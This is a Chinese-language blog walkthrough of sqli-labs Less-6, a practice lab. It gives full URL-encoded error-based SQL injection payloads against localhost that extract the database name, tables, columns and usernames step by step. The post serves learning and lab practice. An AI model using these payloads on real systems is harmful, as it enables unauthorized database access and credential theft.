• sqli-labs(6)


    双注入GET双引号字符型注入

    0x01(这里思路和05一样只是单引号变成了双引号)

    首先我们看见这个网站 又是不显示值的 所以想到用报错的信息来得出你想要的结果

    有了思路之后来试试一下吧

    先填入单引号发现别没有报错 那双引号呐? 这里报错了 证明这里的闭合有“”闭合

    那好咯 我们试试昨天的单引号那招 先尝试一下爆破当前数据库名称

    http://127.0.0.1/sql1/Less-6/?id=1%22%20union%20select%20null,count(*),concat((select%20database()),%20floor(rand()*2))as%20a%20from%20information_schema.schemata%20group%20by%20a%23

     

    成功的从报错信息里面得知 当前的数据库名称是security

    那接下来有了数据库名称就是爆破当前数据库的表名了 那该怎么办呐?思路和昨天的一样 用limit函数绕过他的显示过滤

    http://127.0.0.1/sql1/Less-6/?id=1%22%20union%20select%20null,count(*),concat((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27%20limit%200,1),%20floor(rand()*2))as%20a%20from%20information_schema.tables%20group%20by%20a%23

    这里看见我们报错了第一个表的名称

    当然我们可以得出第二个表的名称 就是改一下limit参数 x,1 x代表你要查的是第几个表名 这里在第四个表看见了users

    http://127.0.0.1/sql1/Less-6/?id=1%22%20union%20select%20null,count(*),concat((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27%20limit%203,1),%20floor(rand()*2))as%20a%20from%20information_schema.tables%20group%20by%20a%23

    这里从我们的mysql里面也是看见的只有四个表

    那就继续快乐下去 爆列名 我们此时觉得uesrs表里面有关键的信息 那就爆破一下

    http://127.0.0.1/sql1/Less-6/?id=1%22%20union%20select%20null,count(*),concat((select%20column_name%20from%20information_schema.columns%20where%20table_name=%27users%27%20limit%200,1),%20floor(rand()*2))as%20a%20from%20information_schema.tables%20group%20by%20a%23

    这里我们就不一个一个爆破演示了 因为我们知道有username password这些列 所以直接爆字段就行

    这里我们还是用自己的方法爆破字段名 网上的方法我用元语句执行好像行不通

    http://127.0.0.1/sql1/Less-6/?id=1%22%20union%20select%20null,count(*),concat((select%20username%20from%20users%20limit%201,1),floor(rand()*2))as%20a%20from%20information_schema.tables%20group%20by%20a%23

    得到你想要的数据

    切记 少就是多 慢就是快  加油

  • 相关阅读:
    活动安排问题
    喵哈哈村的魔法考试 Round #5 (Div.2) C
    梯度下降,牛顿法 ,高斯牛顿法
    SSD模型解析
    训练较深的卷积神经网络时遇到的问题
    手写体识别
    Fast Patch-based Style Transfer of Arbitrary Style 理解
    多任务学习
    迁移学习(训练数据少的可怜时的办法)
    通过训练得出的结果修改模型
  • 原文地址:https://www.cnblogs.com/-zhong/p/10899535.html
Copyright © 2020-2023  润新知